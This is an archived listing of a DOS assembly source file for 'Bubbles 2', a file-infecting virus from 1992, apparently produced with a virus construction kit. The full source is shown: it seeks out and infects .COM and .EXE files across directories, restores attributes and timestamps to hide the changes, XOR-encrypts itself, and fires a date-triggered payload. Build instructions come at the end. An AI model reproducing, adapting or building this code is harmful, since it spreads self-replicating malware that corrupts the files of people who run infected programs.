home *** CD-ROM | disk | FTP | other *** search
/ Collection of Hack-Phreak Scene Programs / cleanhpvac.zip / cleanhpvac / IVUPDAT2.ZIP / IVPBUBB2.ZIP / BUBBLES2.ASM next >
Assembly Source File  |  1992-12-27  |  17KB  |  428 lines

  1. ;---------
  2. ;  Bubbles 2 written by Admiral Bailey
  3. ;---------
  4.  
  5.  
  6. Code    Segment Public 'Code'
  7.         Assume  CS:Code
  8.         Org     100h                              ; All .COM files start here
  9.  
  10. ID = 'AB'                                         ; Id for infected files
  11. MaxFiles = 3                                      ; Max number of file to infect
  12.  
  13. Start:
  14.         db     0e9h,2,0                           ; Jump to the next command
  15.         dw     id                                 ; So this file doesnt get infected
  16.  
  17. Virus:
  18.         call    realcode                          ; Push current location on stack
  19.  
  20. Realcode:
  21.         pop     bp                                ; Get location off stack
  22.         nop
  23.         nop
  24.         nop
  25.         sub     bp,offset realcode                ; Adjust it for our pointer
  26.         nop
  27.         nop
  28.         call    encrypt_decrypt                   ; Decrypt the virus first
  29.  
  30. Encrypt_Start   equ     $                         ; From here is encrypted
  31.  
  32.         cmp     sp,id                             ; Is this file a COM or EXE?
  33.         je      restoreEXE                        ; Its an EXE so restore it
  34.  
  35.         lea     si,[bp+offset oldjump]            ; Location of old jump in si
  36.         mov     di,100h                           ; Restore new jump to 100h
  37.         push    di                                ; Save so we could just return when done
  38.         movsb                                     ; Move a byte
  39.         movsw                                     ; Move a word
  40.         movsw                                     ; Move another word
  41.         jmp     exitrestore
  42.  
  43. RestoreEXE:
  44.         push    ds                                ; Save ExE ds
  45.         push    es                                ; Save ExE es
  46.         push    cs
  47.         pop     ds                                ; DS now equals CS
  48.         push    cs
  49.         pop     es                                ; ES now equals CS
  50.  
  51.         lea     si,[bp+jmpsave2]
  52.         lea     di,[bp+jmpsave]
  53.         movsw                                     ; Move a word
  54.         movsw                                     ; Move a word
  55.         movsw                                     ; Move a word
  56.         movsw                                     ; Move a word
  57.  
  58. ExitRestore:
  59.         lea     dx,[bp+offset dta]                ; Where to put New DTA
  60.         call    set_DTA                           ; Move it
  61.  
  62.         mov     [bp+counter],byte ptr 0           ; Clear counter
  63.         mov     ax,3524h                          ; Get int 24 handler
  64.         int     21h                               ; It gets put in ES:BX
  65.         mov     word ptr [bp+oldint24],bx         ; Save it
  66.         mov     word ptr [bp+oldint24+2],es
  67.  
  68.         mov     ah,25h                            ; Set new int 24 handler
  69.         lea     dx,[bp+offset int24]              ; Loc of new one in DS:DX
  70.         int     21h
  71.  
  72.         push    cs                                ; Restore ES
  73.         pop     es                                ; 'cuz it was changed
  74.  
  75.         mov     ah,47h                            ; Get the current directory
  76.         mov     dl,0h                             ; On current drive
  77.         lea     si,[bp+offset currentdir]         ; Where to keep it
  78.         int     21h
  79.  
  80. DirLoop:
  81.         lea     dx,[bp+offset exefilespec]        ; Files to look for
  82.         call    findfirst
  83.         lea     dx,[bp+offset comfilespec]        ; Files to look for
  84.         call    findfirst
  85.  
  86.         lea     dx,[bp+offset directory]          ; Where to change too '..'
  87.         mov     ah,3bh                            ; Change directory
  88.         int     21h
  89.         jnc     dirloop                           ; If no problems the look for files
  90.  
  91.         call    activate                          ; Call the activation routine
  92.  
  93.         mov     ax,2524h                          ; Restore int 24 handler
  94.         lds     dx,[bp+offset oldint24]           ; To original
  95.         int     21h
  96.  
  97.         push    cs
  98.         pop     ds                                ; Do this because the DS gets changed
  99.  
  100.         lea     dx,[bp+offset currentdir]         ; Location Of original dir
  101.         mov     ah,3bh                            ; Change to there
  102.         int     21h
  103.  
  104.         mov     dx,80h                            ; Location of original DTA
  105.         call    set_dta                           ; Put it back there
  106.  
  107.         cmp     sp,id-4                           ; Is this file an EXE or COM?
  108.         jz      returnEXE                         ; Its an EXE!
  109.  
  110.         retn                                      ; Return to 100h (original jump)
  111.  
  112. ReturnEXE:
  113.         pop     es                                ; Get original ES
  114.         pop     ds                                ; Get original DS
  115.  
  116.         mov     ax,es
  117.         add     ax,10h
  118.         add     word ptr cs:[bp+jmpsave+2],ax
  119.         add     ax,word ptr cs:[bp+stacksave+2]
  120.         cli                                       ; Clear int's because of stack manipulation
  121.         mov     sp,word ptr cs:[bp+stacksave]
  122.         mov     ss,ax
  123.         sti
  124.         db      0eah                              ; Jump ssss:oooo
  125. jmpsave dd      ?                                 ; Jump location
  126. stacksave dd    ?                                 ; Original cs:ip
  127. jmpsave2 dd     0fff00000h
  128. stacksave2 dd   ?
  129.  
  130. FindFirst:
  131.         cmp    [bp+counter],maxfiles              ; Have we infected Too many
  132.         ja     quit                               ; Yup
  133.  
  134.         mov     ah,4eh                            ; Find first file
  135.         mov     cx,7                              ; Find all attributes
  136.  
  137. FindNext:
  138.         int     21h                               ; Find first/next file int
  139.         jc      quit                              ; If none found then change dir
  140.  
  141.         call    infection                         ; Infect that file
  142.  
  143. FindNext2:
  144.         mov     ah,4fh                            ; Find next file
  145.         jmp     findnext                          ; Jump to the loop
  146.  
  147. Quit:
  148.         ret
  149.  
  150. Infection:
  151.         mov     ax,3d00h                          ; Open file for read only
  152.         call    open
  153.  
  154.         mov     ah,3fh                            ; Read from file
  155.         mov     cx,1ah                            ; Number of bytes
  156.         lea     dx,[bp+offset buffer]             ; Location to store them
  157.         int     21h
  158.  
  159.         mov     ah,3eh                            ; Close file
  160.         int     21h
  161.  
  162.         mov     ax,word ptr [bp+DTA+1Ah]          ; Get filesize from DTA
  163.         cmp     ax,64000                          ; Is the file too large?
  164.         ja      quitinfect                        ; file to large so getanother
  165.  
  166.         cmp     ax,600                            ; Is the file too small?
  167.         jb      quitinfect                        ; file to small so getanother
  168.  
  169.         cmp     word ptr [bp+buffer],'ZM'         ; Is file found an EXE?
  170.         jz      checkEXE                          ; Yup so check it
  171.         mov     ax,word ptr [bp+DTA+35]           ; Get end of file name in ax
  172.         cmp     ax,'DN'                           ; Does it end in 'ND'?
  173.         jz      quitinfect                        ; Yup so get another file
  174.  
  175. CheckCom:
  176.         mov     bx,word ptr [bp+offset dta+1ah]   ; Get file size
  177.         cmp     word ptr cs:[bp+buffer+3],id      ; Check for ID
  178.         je      quitinfect
  179.  
  180.         jmp     infectcom
  181.  
  182. CheckExe:
  183.         cmp     word ptr [bp+buffer+10h],id       ; Check EXE for infection
  184.         jz      quitinfect                        ; Already infected so close up
  185.         jmp     infectexe
  186.  
  187. QuitInfect:
  188.         ret
  189.  
  190. InfectCom:
  191.         sub     bx,3                              ; Adjust for new jump
  192.         lea     si,[bp+buffer]                    ; Move the old jump first
  193.         lea     di,[bp+oldjump]
  194.         movsb
  195.         movsw
  196.         movsw
  197.         mov     [bp+buffer],byte ptr 0e9h         ; Setup new jump
  198.         mov     word ptr [bp+buffer+1],bx         ; Save new jump
  199.  
  200.         mov     word ptr [bp+buffer+3],id         ; Put in ID
  201.         mov     cx,5                              ; Number of bytes to write
  202.  
  203.         jmp     finishinfection
  204. InfectExe:
  205.         les     ax,dword ptr [bp+buffer+14h]      ; Load es with seg address
  206.         mov     word ptr [bp+jmpsave2],ax         ; save old cs:ip
  207.         mov     word ptr [bp+jmpsave2+2],es
  208.  
  209.         les     ax,dword ptr [bp+buffer+0eh]      ; save old ss:sp
  210.         mov     word ptr [bp+stacksave2],es       ; save old cs:ip
  211.         mov     word ptr [bp+stacksave2+2],ax
  212.  
  213.         mov     ax, word ptr [bp+buffer+8]        ; get header size
  214.         mov     cl,4
  215.         shl     ax,cl
  216.         xchg    ax,bx
  217.         les     ax,[bp+offset DTA+26]             ; get files size from dta
  218.         mov     dx,es                             ; its now in dx:ax
  219.         push    ax                                ; save these
  220.         push    dx
  221.  
  222.         sub     ax,bx                             ; subtract header size from fsize
  223.         sbb     dx,0                              ; subtract the carry too
  224.         mov     cx,10h                            ; convert to segment:offset form
  225.         div     cx
  226.  
  227.         mov     word ptr [bp+buffer+14h],dx       ; put in new header
  228.         mov     word ptr [bp+buffer+16h],ax       ; cs:ip
  229.  
  230.         mov     word ptr [bp+buffer+0eh],ax       ; ss:sp
  231.         mov     word ptr [bp+buffer+10h],id       ; put id in for later
  232.         pop     dx                                ; get the file length back
  233.         pop     ax
  234.  
  235.         add     ax,eof-virus                      ; add virus size
  236.         adc     dx,0                              ; add with carry
  237.  
  238.         mov     cl,9                              ; calculates new file size
  239.         push    ax
  240.         shr     ax,cl
  241.         ror     dx,cl
  242.         stc
  243.         adc     dx,ax
  244.         pop     ax
  245.         and     ah,1
  246.  
  247.         mov     word ptr [bp+buffer+4],dx         ; save new file size in header
  248.         mov     word ptr [bp+buffer+2],ax
  249.  
  250.         push    cs                                ; es = cs
  251.         pop     es
  252.  
  253.         mov     cx,1ah                            ; Size of EXE header
  254. FinishInfection:
  255.         push    cx                                ; save # of bytes to write
  256.         xor     cx,cx                             ; Set attriutes to none
  257.         call    attributes
  258.  
  259.         mov     al,2                              ; open file read/write
  260.         call    open
  261.  
  262.         mov     ah,40h                            ; Write to file
  263.         lea     dx,[bp+buffer]                    ; Location of bytes
  264.         pop     cx                                ; Get number of bytes to write
  265.         int     21h
  266.         jc      closefile
  267.  
  268.         mov     al,02                             ; Move Fpointer to eof
  269.         Call    move_fp
  270.  
  271. get_time:
  272.         mov     ah,2ch                            ; Get time for encryption value
  273.         int     21h
  274.         cmp     dh,0                              ; If its seconds are zero get another
  275.         je      get_time
  276.         mov     [bp+enc_value],dh                 ; Use seconds value for encryption
  277.  
  278.         call    encrypt_infect                    ; Encrypt and infect the file
  279.  
  280.         inc     [bp+counter]                      ; Increment the counter
  281.  
  282. CloseFile:
  283.         mov     ax,5701h                          ; Set files date/time back
  284.         mov     cx,word ptr [bp+dta+16h]          ; Get old time from dta
  285.         mov     dx,word ptr [bp+dta+18h]          ; Get old date
  286.         int     21h
  287.  
  288.         mov     ah,3eh                            ; Close file
  289.         int     21h
  290.  
  291.         xor     cx,cx
  292.         mov     cl,byte ptr [bp+dta+15h]          ; Get old Attributes
  293.         call    attributes
  294.  
  295.         retn
  296.  
  297. Activate:
  298.         mov     ah,2ah                            ; Get current date
  299.         int     21h
  300.  
  301.         cmp     cx,1993                           ; Check current Year
  302.         jb      dont_activate
  303.         cmp     dl,13                             ; Check current Day
  304.         jne     dont_activate
  305.  
  306.         mov     ah,2ch                            ; Get current time
  307.         int     21h
  308.  
  309.         cmp     ch,13                             ; Check current hour 
  310.         jne     dont_activate
  311.  
  312.         mov     ah,9                              ; Display string
  313.         lea     dx,[bp+messege]                   ; The string to display
  314.         int     21h
  315.  
  316.         mov     cx,2
  317.         include .\routines\phasor.rtn             ; Include file
  318.  
  319. Dont_Activate:
  320.         ret
  321.  
  322. Move_Fp:
  323.         mov     ah,42h                            ; Move file pointer
  324.         xor     cx,cx                             ; Al has location
  325.         xor     dx,dx                             ; Clear these
  326.         int     21h
  327.         retn
  328.  
  329. Set_DTA:
  330.         mov     ah,1ah                            ; Move the DTA location
  331.         int     21h                               ; DX has location
  332.         retn
  333.  
  334. Open:
  335.         mov     ah,3dh                            ; open file
  336.         lea     dx,[bp+DTA+30]                    ; Filename in DTA
  337.         int     21h
  338.         xchg    ax,bx                             ; put file handle in bx
  339.         ret
  340.  
  341. Attributes:
  342.         mov     ax,4301h                          ; Set attributes to cx
  343.         lea     dx,[bp+DTA+30]                    ; filename in DTA
  344.         int     21h
  345.         ret
  346.  
  347. int24:                                            ; New Int 24h
  348.         mov     al,3                              ; Fail call
  349.         iret                                      ; Return from int 24 call
  350.  
  351. Virusname db 'Bubbles 2'                          ; Name Of The Virus
  352. Author    db 'Admiral Bailey'                     ; Author Of This Virus
  353. messege:
  354.           db 'Bubbles 2 : Its back and better then ever.',10,13
  355.           db '            ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^',10,13
  356.           db 'Is it me or does that Make no sense at all?',10,13
  357. Made_with db '[IVP2]',10,13,'$'                    ; Please do not remove this
  358.  
  359. comfilespec  db  '*.com',0                        ; Holds type of file to look for
  360. exefilespec  db  '*.exe',0                        ; Holds type of file to look for
  361. directory    db '..',0                            ; Directory to change to
  362. oldjump      db  0cdh,020h,0,0,0                  ; Old jump.  Is int 20h for file quit
  363.  
  364. Encrypt_Infect:
  365.         lea     si,[bp+offset move_begin]         ; Location of where to move from
  366.         lea     di,[bp+offset workarea]           ; Where to move it too
  367.         mov     cx,move_end-move_begin            ; Number of bytes to move
  368. move_loop:
  369.         movsb                                     ; Moves this routine into heap
  370.         loop    move_loop
  371.         lea     dx,[bp+offset workarea]
  372.         call    dx                                ; Jump to that routine just moved
  373.         ret
  374.  
  375. Move_Begin    equ     $                           ; Marks beginning of move
  376.         push    bx                                ; Save the file handle
  377.         lea     dx,[bp+offset encrypt_end]
  378.         call    dx                                ; Call the encrypt_decrypt procedure
  379.         pop     bx                                ; Get handle back in bx and return
  380.         mov     ah,40h                            ; Write to file
  381.         mov     cx,eof-virus                      ; Number of bytes
  382.         lea     dx,[bp+offset virus]              ; Where to write from
  383.         int     21h
  384.         push    bx                                ; Save the file handle
  385.         lea     dx,[bp+offset encrypt_end]
  386.         call    dx                                ; Decrypt the file and return
  387.         pop     bx                                ; Get handle back in bx and return
  388.         ret
  389. move_end      equ     $                           ; Marks the end of move
  390.  
  391. Encrypt_End   equ     $                           ; Marks the end of encryption
  392.  
  393. Encrypt_Decrypt:
  394.         mov     cx,encrypt_end-encrypt_start      ; bytes to encrypt
  395.         lea     si,cs:[bp+encrypt_start]          ; start of encryption
  396.         mov     di,si
  397. encloop:
  398.         lodsb
  399.         xor     ah,cs:[bp+enc_value]
  400.         stosb
  401.         loop    encloop
  402.         ret
  403.  
  404. Enc_Value     db    00h                           ; Hold the encryption value 00 for nul effect
  405.  
  406. EOF     equ     $                                 ; Marks the end of file
  407.  
  408. Counter db 0                                      ; Infected File Counter
  409. Workarea db     move_end-move_begin dup (?)       ; Holds the encrypt_infect routine
  410. currentdir db   64 dup (?)                        ; Holds the current dir
  411. DTA     db      42 dup (?)                        ; Location of new DTA
  412. Buffer db 1ah dup (?)                             ; Holds exe header
  413. OldInt24 dd ?                                     ; Storage for old int 24h handler
  414. Filler   db  3000 dup (0)
  415.  
  416. eov     equ     $                                 ; Used For Calculations
  417.  
  418. code    ends
  419.         end     start
  420.  
  421.  
  422. ;---------
  423. ;  Instant Virus Production Kit By Admiral Bailey - Youngsters Against McAfee
  424. ;  To compile this use TASM /M FILENAME.ASM
  425. ;  Then type tlink /t FILENAME.OBJ
  426. ;---------
  427.  
  428.